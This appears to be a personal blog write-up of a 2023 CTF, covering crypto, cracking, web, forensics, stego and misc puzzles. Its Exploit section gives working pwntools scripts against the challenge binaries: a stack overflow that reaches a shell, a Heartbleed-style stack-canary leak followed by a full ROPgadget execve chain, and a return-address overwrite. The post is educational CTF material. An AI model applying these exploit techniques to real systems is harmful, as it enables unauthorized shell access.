26 minute read

I found this CTF in Nov 11th, 2023. My original plan for that day (and weekend) was to play 0CTF/TCTF with b01lers, but the organizers of that CTF postponed it to some other time because they wanted to have their CTF serve as a DEFCON qualifier (I do not know the details unfortunately, so don't quote me on this because I could be wrong).

So, I instead found a CTF that I can play myself, because, why not :)

This CTF technically ended on Sep 21, 2023 (because they got a team that solved every challenge that day), but they decided to leave it open until Jan 21, 2024. I did a quick Google search and discovered that no writeup was posted online (at least on the day I looked up) except one OSINT problem (A Great Interior Desert).

They have nine categories, each with three challenges. They had me when I saw separate categories for steganography and password cracking. They also had a pretty good range of problems: some challenges were solvable within a few hours (or even minutes), but some took me almost a month.

The competition website is still online, but all the challenges are removed. Here is the CTFTime event page: https://ctftime.org/event/2026/.

Crypto

Unquestioned and Unrestrained

Looks so much like base64.

import base64

flag_encoded = "cG9jdGZ7dXdzcF80MTFfeTB1Ml84NDUzXzQyM184MzEwbjlfNzBfdTV9"
print(base64.b64decode(flag_encoded))
# b'poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}'

Flag: poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}

A Pale, Violet Light

This time, it looks so much like RSA. The modulus is very small that it can be factorized in less than a second. No thinking needed.

import numpy as np
import sympy as sp
import math
import struct

# Taken from https://www.delftstack.com/howto/python/mod-inverse-python/
def extended_gcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = extended_gcd(b % a, a)
        return (g, y - (b // a) * x, x)
def mod_inverse(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError("Modular inverse does not exist")
    else:
        return x % m

# There should be a better/shorter way to do this, but I am too lazy to look up online xD
with open("APaleVioletLight.txt", "r") as f:
    for line in f:
        if line[0] == 'e':
            variable_name, variable_value = line.split("=")
            e = int(variable_value)
        elif line[0] == 'N':
            variable_name, variable_value = line.split("=")
            N = int(variable_value)
        elif line[0] == 'C':
            variable_name = 'C'
            variable_values = line[3:].split()
            variable_values = [int(i) for i in variable_values]
            C = variable_values

# print(e, N, C)
print(sp.primefactors(N)) # two factors

p, q = sp.primefactors(N)
phi_N = (p-1) * (q-1)
d = mod_inverse(e, phi_N) # 202559
print(d)
assert((e*d) % phi_N == 1)
M = [(c**d % N) for c in C]
print(M) # [112, 111, 99, 116, 102, 123, 117, 119, 115, 112, 95, 53, 51, 51, 107, 32, 52, 110, 100, 32, 121, 51, 32, 53, 104, 52, 49, 49, 32, 102, 49, 110, 100, 125]
M_chr = [chr(i) for i in M]
flag = str.join('', M_chr) 
print(flag) # poctf{uwsp_533k 4nd y3 5h411 f1nd}
flag = flag.replace(' ', '_') 
print(flag) # poctf{uwsp_533k_4nd_y3_5h411_f1nd}

I don't even know why my code is so long, I didn't notice it until now. Maybe some thinking was involved.

Flag: poctf{uwsp_533k_4nd_y3_5h411_f1nd}

Missing and Missed

And now, this looks so much like Brainfxxk (censoring the profanity part just in case) and the phrase "cerebral fornication" in the challenge description gives it away. dCode also agrees.

Flag: poctf{uwsp_219h7_w20n9_02_f0290773n}

Crack

The Gentle Rocking of the Sun

After some searches, I discovered that the value on the post-it note is a SHA-1 hash of some string "zwischen".

crack2.7z is password protected, and typing in "zwischen" as the password unlocked the folder that consists of another folder, and so on.

The fact that it starts with p and o gives a vibe that this might be the flag. Let's try it out.

import os

for root, dirs, files in os.walk("./"):
    print(root)
# ./2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n/9/}
print(root.replace("/", "").replace(".2023",""))
# poctf{uwsp_c411f02n14_d234m1n9}

Flag: poctf{uwsp_c411f02n14_d234m1n9}

With Desperation and Need

The song that stuck in that person's head is "We Will Rock You" and this rings a bell that the infamous rockyou.txt file might be relevant here.

There is only one password that starts with "gUn" in rockyou.txt. Now, install VerCrypt, open crack3 with it and plug in this password.

Nice! That indeed was the password. This unlocks a folder called filesfromdecrypted which contains flag.txt that has the flag which is:

Flag: poctf{uwsp_qu4n717y_15_n07_4bund4nc3}

Web

We Rest Upon a Single Hope

This website takes an input and lets you submit it. Upon checking its source code, we can discover that it stores our input as key and returns the output of a function called Zuul, in particular Zuul(key.value).

So, what is this function? Apparently, it does something when the input is v.

and whatever that is, it looks important.

And funnily enough, Zuul(v) was the flag.

Flag: poctf{uwsp_1_4m_411_7h47_7h3r3_15_0f_7h3_m057_r341}

Vigil of the Ceaseless Eyes

Opening the link, we reach a very distracting-looking website.

So, let's just follow the hint directly. The hint says there might or might not be something in /secret/flag.pdf directory/file.

We get something. I cannot open it, but it looks like the file definitely exists.

Let's force download it. I still cannot open it, but the file definitely has something inside.

Opening it with a text editor, however...

works like a charm and we get our flag!

Flag: poctf{uwsp_71m3_15_4n_1llu510n}

Quantity is Not Abundance

Opening the link, we again reach a very distracting-looking website.

The description for this problem has a similar hint as the previous one: there might or might not be something in /.secret/flag.txt directory/file.

Unlike last time, we cannot open it because we do not have permission. This, however, apparently could be bypassed by forcing it to open.

Flag: poctf{uwsp_1_h4v3_70_1n5157}

Forensics

If You Don’t, Remember Me

That DF1.pdf file seems broken. As always, we try opening it with a text editor.

Some very suspicious yet familiar string here.

Nice. Ez.

Flag: poctf{uwsp_w31c0m3_70_7h3_94m3}

A Petty Wage in Regret

Here is DF2.jpg:

Although this picture seems normal (in the sense that it is not broken and cannot be opened), let's start by opening it with a text editor.

They even gave you the hint "ASCII" next to it. Anyway, that translates to:

::P1/2:: poctf{uwsp_7h3_w0rld_h4d

So it looks like the second half of the flag is somewhere else. I don't see any other suspicious-yet-familiar strings in the text editor.

It turns out the answer might be closer than we think/thought. The picture DF2.jpg looks 'funny' in the sense that some parts are clearer than others. Drawing lines and dots along those parts gives us:

::P2/2:: 17_f1257

It is not very clear and hard to see at first sight (hence I am not a big fan of this chal). I found it helpful to inverse the color and play around with bit planes using StegOnline. Also, I don't know why the second part of the flag does not come with "}" but trying it with "}" worked.

Flag: poctf{uwsp_7h3_w0rld_h4d_17_f1257}

Better to Burn in the Light

This wasn't an easy chal.

Like I did for the two previous chals, I started by opening the DF3.001 file with text editor. That evidently wasn't a good move, I was immediately greeted with a frozen screen asking me if I want to force quit the text editor. How fun.

Some online searches told me that I could change the file extension from .001 to .7z. That worked like a charm!

There are just so many files to go over. But the challenge description said "we're going to need to bring some of them back from the dead." So, we can start by focusing on the files in $RECYCLE.BIN folder.

I (still) see so many files: some meme-y pictures and a bunch of broken files. Had no idea where to start, I simply began by opening all these files with CyberChef.

This file doesn't seem very helpful. (Btw, there were A BUNCH of files that looked like this.) But these two look mildly interesting.

That $R4K6JU8.doc file apparently was supposed to be a jpg file or is a file that contains a jpg file. Luckily, our chef is versatile enough to extract a file from a bigger file.

Looks severely like a severely damaged flag part. Not happy, but at least we found something. Let's see if there is anything that is worth our attention.

We've seen $RLLD6JM.pdf already, but there alledgedly is another file (named $RN367L5.jpg) that we overlooked. Let's ask our chef for another help.

Gosh, another severely damaged flag part? On the fortunate side, this part looks like the first part (starts with "poctf{") and the other part that we found before must be the other part (ends with "}"). But they are just, too blurry to be legible, almost like some of my students' handwritings (just kidding).

If you may recall, we had a weird-looking file ($RLLD6JM.pdf) that starts with a questionable string --POCTF{0.5c} --. Would that mean anything?

Apparently... the $RN367L5.jpg file has these strings in its head and tail, respectively:

CLUE 2 - 1 / 2 == 0.5a | 0.5b && 0.5a / 2 == 0.5a | 0.5c

--POCTF{NOT THE END}--

I honestly, even till this date, have no idea what that first string exactly means, but it gives some impression that something must be combined with 0.5c which, as we just recalled, is what $RLLD6JM.pdf starts with!

So, I copy pasted $RLLD6JM.pdf at the end of $RN367L5.jpg,

and removed the garbage (?) parts:

Boom!

Now for the second flag, which was from $R4K6JU8.doc, it just says CLUE 1 - Missing header at the top.

I wasn't sure what this meant until I took a look at another JPG file.

Yes, when it said missing header, it really meant it. I copy pasted the missing part, and my life is good now.

Flag: poctf{uwsp_5h1v3r_m3_71mb3r5}

I also tried solving this problem using TestDisk (since DF3.001 file is a disk file, it was a canonical attempt). It could only recover a half of the flag, but not the other half. I think this chal was very well-made in that sense --- it does not get trivialized by the uses of tools (well, I guess I should not deny that without CyberChef, I might have not been able to solve this problem this easily).

Exploit

Did they mean "Pwn"? Anyway...

My Friend, A Loathsome Worm

Uh, it looks like I forgot to save the challenge description. Sorry! :'(

We are given a binary executable file exploit1.bin. I don't think I want to read this manually, so I put it into Ghidra, and this is what it returned (main function).

void main(EVP_PKEY_CTX *param_1)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  int local_1c;
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_38 = 0x3332317473657547;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_1c = 999;
  init(param_1);
  printf("Welcome, you are logged in as \'%s\'\n",&local_38);
  do {
    while( true ) {
      while( true ) {
        printf("\nHow can I help you, %s?\n",&local_38);
        puts(" (1) Change username");
        puts(" (2) Switch to root account");
        puts(" (3) Start a debug shell");
        printf("Choice: ");
        iVar1 = get_int();
        if (iVar1 != 1) break;
        printf("Enter new username: ");
        __isoc99_scanf(&DAT_001020c6,&local_38);
      }
      if (iVar1 != 2) break;
      puts("Sorry, root account is currently disabled");
    }
    if (iVar1 == 3) {
      if (local_1c == 999) {
        puts("Sorry, guests aren\'t allowed to use the debug shell");
      }
      else if (local_1c == 0x539) {
        puts("Starting debug shell");
        execl("/bin/bash","/bin/bash",0);
      }
      else {
        puts("Unrecognized user type");
      }
    }
    else {
      puts("Unknown option");
    }
  } while( true );
}

It looks like, if local_1c is equal to 0x539, then we can get into the (root) shell. We can start writing from local_38 and it uses scanf() function to scan and store local_38, which is a well-known vulnerable function.

The local relative address (on memory stack) of local_38 is 0x38 and local_1c is 0x1c (like their Ghidra-ed names say). Here is the screenshot of Ghidra, in case you don't trust me.

So, our payload would be: 0x38 - 0x1c many garbage bytes and 0x539. In code (yes, I am finally using pwntools!), it'd look like this:

import pwn

nc_ed = pwn.remote('34.123.210.162', '20232')

nc_ed.recvuntil(":")
nc_ed.sendline("1")
nc_ed.recvuntil(":")

payload = b'a' * (0x38 - 0x1c) + b'\x39\x05\x00\x00'
print(payload)

nc_ed.sendline(payload)
nc_ed.recvuntil(":")
nc_ed.sendline("3")

nc_ed.interactive()

Flag: poctf{uwsp_5w337_c10v32_4nd_50f7_511k}

A Guilded Lily

It again looks like I again forgot to save the challenge description again. Sorry again! :'(

This chal wasn't particularly difficult (was not easy either, though), but it took me a while to actually get my code working. It also took me a while to understand the problem, especially the format of input. I also forgot exactly how I ended up using ROPgadget. I think the challenge description (which I clumsily did not save) said something about it, or that /bin/sh does not exist (or something along those lines).

We are given a binary executable file exploit2.bin. Let Ghidra feast on it.

// exploit2_ghidra_ed.c
undefined8 main(EVP_PKEY_CTX *param_1)
{
  long in_FS_OFFSET;
  int local_41c;
  undefined local_418 [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  puts("Heartbleed Bug Simulator (CVE-2014-0160)");
  puts("  info: https://heartbleed.com/");
  do {
    puts("\nWaiting for heart beat request...");
    __isoc99_scanf(" %d:%s",&local_41c,local_418);
    puts("Sending heart beat response...");
    write(1,local_418,(long)local_41c);
  } while (0 < local_41c);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
void __stack_chk_fail(void)
{
                    /* WARNING: Subroutine does not return */
  __fortify_fail("stack smashing detected");
}
void __fortify_fail(undefined8 param_1)
{
  do {
    __libc_message(1,"*** %s ***: terminated\n",param_1);
  } while( true );
}

It looks like a toy example of the infamous Heartbleed vulnerability. The program takes a string and its length as input, and returns the string by reading the length-amount of its memory. Therefore, by giving the length that is actually longer than the input string, we have a chance of being able to read beyond the string, which could include the memory of the machine running the program.

Let's pay attention to those two lines first (technically four, but two are more or less print statements, so you know what I mean):

// From exploit2_ghidra_ed.c
puts("\nWaiting for heart beat request...");
__isoc99_scanf(" %d:%s",&local_41c,local_418);
puts("Sending heart beat response...");
write(1,local_418,(long)local_41c);

The program takes the length of the input and stores it as local_41c, and the string as local_418 of length 1032 bytes, but using scanf() function!

Then, there is another local variable local_10. This is actually quite interesting.

// from exploit2_ghidra_ed.c
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }

It appears that if local_10 is different from what it is supposed to be, the program returns fail. Ah, so local_10 is the stack canary!

We can bypass the stack canary by figuring out its value, then overwrite it with its value when building our attack payload. We can have it print out local_10by filling up local_418 with 1032 characters but giving it a length longer than 1032.

nc_ed = pwn.remote('34.123.210.162', '20233')
nc_ed.recvuntil("Waiting for heart beat request...")

payload = b'1048:' + b'a' * 1032 # 1032 + 16 = 1048
nc_ed.sendline(payload)

nc_ed.recvuntil("a" * 1032)
canary_ish_thingy = nc_ed.read(8) # signed long integer = 8 bytes

I did +16 instead of +8 to see if I could also read the return address, but in the end, it was not very necessary---please keep reading if you are curious why :).

As a sanity check, I wanted to make sure that whether we actually reached and can overwrite local_10, and whether that canary_ish_thingy is in fact local_10. Let's first see if changing the value beyond local_418 actually triggers the "smashing detection" system:

payload += b'b' * 16
nc_ed.sendline(payload)
nc_ed.recvuntil("Waiting for heart beat request...")
nc_ed.sendline(b'0:a')
nc_ed.interactive() # *** stack smashing detected ***: terminated

It very well does. Now let's see if overwriting it with our canary_ish_thingy works.

payload += canary_ish_thingy
nc_ed.sendline(payload)
nc_ed.recvuntil("Waiting for heart beat request...")
nc_ed.sendline(b'1:a')
nc_ed.interactive() 
# It did. It returns Waiting for heart beat request...
# But apparently it sometimes end up getting an infinite loop?

I don't exactly know/remember what was happening, but it worked for the vast majority of the time. Anyway, our hypothesis that local_10 is indeed the stack canary and overwriting it with itself could allow us to bypass the stack smashing detection system.

So, you'd probably think that we can put shellcode inside our buffer local_418 and changing the return address to the address of the buffer would work, like this code does:

new_payload = b'0:'
new_payload += shellcode
new_payload += b'a' * (1032 - len(shellcode))
new_payload += canary_ish_thingy
new_payload += b'b' * 16 # 8? 16?
new_payload += pwn.p32(0x00401ec1) # b'\xc1\x1e\x40\x00'

nc_ed.sendline(new_payload)
nc_ed.interactive()

Apparently it does not. I spent all they thinking the address 0x00401ec1 was wrong, but both Ghidra and GDB gave me the same address. While being very confused, I remembered the return-oriented programming (ROP) that I taught in CS 426 that I TAed.

I turned on ROPGadget and had it generate execve (ROP chain), set it as shellcode, and put it into where the return address is at:

new_payload = b'0:'
new_payload += b'a' * 1032
new_payload += canary_ish_thingy
new_payload += b'b' * 8
new_payload += shellcode

nc_ed.sendline(new_payload)
nc_ed.interactive()

It finally worked.

Flag: poctf{uwsp_4_57udy_1n_5c42137}

For completeness and viewing pleasure, here is the full sol.py script. It also includes the ROP chain generated by ROPgadget.

sol.py (Click to expand)
```python
#!/usr/bin/env python3
# execve generated by ROPgadget
import pwn
from Crypto.Util.number import long_to_bytes, bytes_to_long
from struct import pack

# Padding goes here
p = b''

p += pack('<Q', 0x0040f30e) # pop rsi ; ret
p += pack('<Q', 0x004df0e0) # @ .data
p += pack('<Q', 0x00451fd7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00499b65) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0040f30e) # pop rsi ; ret
p += pack('<Q', 0x004df0e8) # @ .data + 8
p += pack('<Q', 0x0044c190) # xor rax, rax ; ret
p += pack('<Q', 0x00499b65) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x004018e2) # pop rdi ; ret
p += pack('<Q', 0x004df0e0) # @ .data
p += pack('<Q', 0x0040f30e) # pop rsi ; ret
p += pack('<Q', 0x004df0e8) # @ .data + 8
p += pack('<Q', 0x004017ef) # pop rdx ; ret
p += pack('<Q', 0x004df0e8) # @ .data + 8
p += pack('<Q', 0x0044c190) # xor rax, rax ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x0048ec70) # add rax, 1 ; ret
p += pack('<Q', 0x004012e3) # syscall

shellcode = p

nc_ed = pwn.remote('34.123.210.162', '20233')
nc_ed.recvuntil("Waiting for heart beat request...")
# nc_ed.sendline(p)
# nc_ed.interactive()

payload = b'1048:' + b'a' * 1032 # 1032 + 16 = 1048
nc_ed.sendline(payload)
# nc_ed.interactive()

nc_ed.recvuntil("a" * 1032)
canary_ish_thingy = nc_ed.read(8) # signed long integer = 8 bytes
# print("canary = ", canary_ish_thingy)
nc_ed.recvuntil("Waiting for heart beat request...")

### Test whether we actually reached and can overwrite local_10.
# payload += b'b' * 16
# nc_ed.sendline(payload)
# nc_ed.recvuntil("Waiting for heart beat request...")
# nc_ed.sendline(b'0:a')
# nc_ed.interactive() # *** stack smashing detected ***: terminated

### Test whether canary_ish_thingy is actually local_10
# payload += canary_ish_thingy
# nc_ed.sendline(payload)
# nc_ed.recvuntil("Waiting for heart beat request...")
# nc_ed.sendline(b'1:a')
# nc_ed.interactive() 
# It did. It returns Waiting for heart beat request...
# But apparently it sometimes end up getting an infinite loop?

print("len(shellcode)=", len(shellcode))

# new_payload = b'0:'
# new_payload += shellcode
# new_payload += b'a' * (1032 - len(shellcode))
# new_payload += canary_ish_thingy
# new_payload += b'b' * 16 # 8? 16?
# new_payload += pwn.p32(0x00401ec1) # b'\xc1\x1e\x40\x00'

# new_payload = b'1048:' # Gives infinite loop
new_payload = b'0:'
new_payload += b'a' * 1032
new_payload += canary_ish_thingy
new_payload += b'b' * 8
new_payload += shellcode

nc_ed.sendline(new_payload)
nc_ed.interactive()
```

Time is but a Window

At this point, I hope you are not surprised or mad that there is no challenge description here.

Let's start by again throwing exploit3.bin into Ghidra.

undefined8 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  greet();
  return 0;
}

void win(void)

{
  alarm(0);
  execl("/bin/bash","/bin/bash",0);
  return;
}


// helper functions

void greet(void)

{
  undefined local_18 [16];
  
  printf("Hello! What\'s your name?: ");
  get_string(local_18);
  printf("Nice to meet you %s!\n",local_18);
  return;
}

void get_string(long param_1)

{
  int iVar1;
  int local_c;
  
  local_c = 0;
  while( true ) {
    iVar1 = getchar();
    if ((char)iVar1 == '\n') break;
    *(char *)(local_c + param_1) = (char)iVar1;
    local_c = local_c + 1;
  }
  return;
}

I think this chal is simpler than the previous one, we are even given a function that executes /bin/bash for you. But it turns out you have to pay attention to details.

get_string() function basically reads a string character-by-character until it reaches \n. One can infer that the size of the memory stack of greet() is 16 + 8 = 24 based on the length of the name (stored as local_18) which is 16.

void win() function executes /bin/bash and it comes right after main() function. So the goal is to overwrite the return address of main() to the address of win().

Note also that, main() comes right after greet().

So we can overflow greet() to change the address of main() to win().

The address of win() is 0x13cb, greet() is 0x1364, and main() is 0x13a8.

Therefore, we can overflow the entire memory stack for greet(), reach main(), then change a8 to cb.

import pwn

nc_ed = pwn.remote('34.123.210.162', '20234')
name_len = 16
payload = b'a' * name_len + b'b' * 4 + b'c' * 4 + b'\xcb' 
nc_ed.recvuntil(":")
nc_ed.sendline(payload)
print(payload)
nc_ed.interactive()

Flag: poctf{uwsp_71m3_15_4_f4c702}

Stego

Absence Makes Hearts Go Yonder

At this point, you should not be surprised what we should do first. And it actually worked again.

Flag: poctf{uwsp_h342d_y0u_7h3_f1257_71m3}

An Invincible Summer

Evidently, Exploit wasn't the only chal category that I forgot to save the challenge description.

Anyway, you are given a compressed folder stego1.7z of a bunch of pictures.

Every picture has a replica of itself except it is stored with a different file extension (png/jpg and bmp). So, we might be able to find something by subtracting/XOR-ing one file from the other. Using Steganographic Comparator, we get some positive outcomes. For example, here is the result of hand.jpg and hand.bmp:

This is the indicator that the message was written in the first few lines of pixels of the image. In fact, that turns out to be the case actually (using Aperi Solve.

But this doesn't give any helpful information about the flag... Also, some other pairs of pictures, like mittens.bmp and mittens.jpg showed a similar outcome:

But neither mittens.bmp nor mittens.jpg had anything interesting in it.

I decided to just put every image into Aperi Solve, and I managed to get the flag from lock.png.

which is kind of funny because the difference between lock.bmp and lock.png is like, almost nothing (at least visual-wise):

So I guess this method does not always work, especially for small strings.

Flag: poctf{uwsp_h342d_y0u_7h3_f1257_71m3}

Between Secrets and Lies

It is a stego chal. The picture matters, not the challenge description. (More seriously, yes, I again forgot to save the description. Sorry!)

You have a picture of a can of beans, named bean.png.

I plugged this picture into every online stego tool that I could find, including but not limited to, Aperi'Solve, Steganography Online, StegOnline, Steganographic Decoder, another Steganographic Decoder; pretty much, you name it, I (probably) had tried it already. Unfortunately, none of them returned anything useful.

I then thought this might be LSB steganography. I downloaded cloacked-pixel and ran it with bean.png as input, then I got this plot:

Based on this plot, it is quite unlikely that the flag was hidden in LSB. This crosses out LSB steganography from our list.

Another possibility is that there was a hidden file embedded into some pixels of this picture. That means, it is time to zsteg it. Just running zsteg bean.png only returned

b1,b,lsb,xy         .. text: "hC-n-pc-"
b3,bgr,msb,xy       .. text: "(;>X\t)4k&"
b4,b,msb,xy         .. text: "Je(B#[mt"

which isn't very helpful. But with --all flare, we get a lot of outputs. Some conspicuous ones were:

...
b2,r,lsb,xy,prime   .. file: OpenPGP Public Key
...
b6p,r,msb,xy,prime  .. file: OpenPGP Secret Key
b2,g,lsb,XY         .. file: 5View capture file
b2,g,msb,XY         .. file: VISX image file
...
b3,abgr,msb,XY      .. file: MPEG ADTS, layer III, v2,  16 kbps, Monaural
...
b4,g,msb,XY         .. text: "ffffffffwwwwwwwwUUUUUUUU"
...
b7p,g,lsb,YX,prime  .. file: PGP symmetric key encrypted data -
...
b3p,r,msb,yX        .. file: Quasijarus strong compressed data
...
b7,r,lsb,Yx         .. file: zlib compressed data

I extracted all of them, not just the ones listed above (you can automate it using stegoVeritas), and I went through every file manually, but it turns out that they are all false positive.

After staring at the picture for days with no luck, I realized that there are some red dots on the top left corner of the picture.

Let me enlarge it for you (if you are a Ubuntu user, disable "Smooth images when zoomed out" in Preferences).

This is definitely something unusual. I think it is either a Morse code or binary code. Also, at the end of this sequence of red pixels, there are some blue pixels as well.

We can start off by converting each pixel to 1 and the rest to 0. The red sequence can be represented as

01110000 01101111 01100011 01110100 01100110 01111011 01110101 01110111 01110011 01110000 01011111 01101101 00110000 01110010 00110011 01011111 01101000 01110101 01101101 00110100 01101110 01011111 00110111 01101000 00110100 01101110 01011111 01101000 01110101 01101101 00110100 01101110 01011111 00110001 00110101 01011110 00110000 00010001 00100000

And the blue sequence at the end is

11000101 01000110 11010000 01001001 01100111 11100100 01100100 01100111 11000001

So the red sequence in fact was a binary code, except some data near the end was damaged.

But unfortunately, the blue sequence is not even a valid binary string.

In fact, an 8-digit binary number should not start with 1 if it is an encoding of an ASCII symbol, according to binary-to-ASCII conversion tables. That said, the binary number for curly bracket "}" is 01111101. So 01111101 should be somewhere. The blue sequence ends with 11000001 and 11000001 XOR 01111101 = 10111100. So maybe, 10111100 is the key? But then this will make some numbers in the sequence start with 1, which as said should not happen. Padding the beginning and end of the sequence with some zeroes also did not help, because there always will be a binary number that starts with 1. Combining the red and blue sequence (writing both red and blue as 1, and so on) also did not work.

After wasting a week on this, I found this stego tool called Stegsolve that I decided to try as a last resort (I was going to give up after this if this does not work). After some troubleshooting (I found this StackOverflow post helpful), I managed to get it run on my machine. Then, since the message was encoded using red pixels, I selected the maximum possible "Red" on the bit planes, then...

Yes, I finally found the flag.

Flag: poctf{uwsp_m0r3_hum4n_7h4n_hum4n_15_0ur_m0770}

Even till this day, I have no idea how we can solve this problem using Stegsolve. Although I learned a lot about stego while working on this problem, I am not particularly happy (maybe I'm just salty) that a use of tool trivialized this problem. But I suppose stego chals are just mostly like that, and still, I enjoyed working on this challenge!

Misc

Sight Without Vision

Flag format is poctf{uwsp_ _ _ }---three underscores with three blanks. So probably the answer consists of three words.

The sentence in the description "You have one, too. You carry it everywhere you go but it's not heavy" is a famous riddle with the answer "name."

So maybe the 'name' of this problem, "Sight Without Vision" but with Leet Speak which is "519h7 w17h0u7 v1510n" (that was what that "this" in the challenge description was for) is the answer. And that was indeed correct!

Flag: poctf{uwsp_519h7_w17h0u7_v1510n}

Etc.

Other than these challenges that I described in this post, I solved two more challenges: one Misc (Here You See A Passer By) and one OSINT (All is Green and Comfort).

Here You See A Passer By was a typical 2D maze problem that you likely have done in elementary school. This challenge was worth more than Sight Without Vision, and had less solves than crypto problems (Unquestioned and Unrestrained and Missing and Missed), which I found quite surprising.

All is Green and Comfort was pretty simple. The challenge description said that somebody leaked a secret on their website, so Archive (wayback machine) is the most canonical approach and that indeed was the solution.

I could not figure out one Crack challenge We Mighty, We Meek.

This definitely is a John the Ripper challenge (in particular, office2john).

But despite my best efforts, I couldn't even get anywhere near the solution. I must have done something wrong, inefficient, and/or irrelevant, but I am not sure what I could've or should've done differently. Given that this challenge is worth less than the other two Crack challenges that I managed to solve, I guess I was in a completely wrong direction.

Tags:

Updated: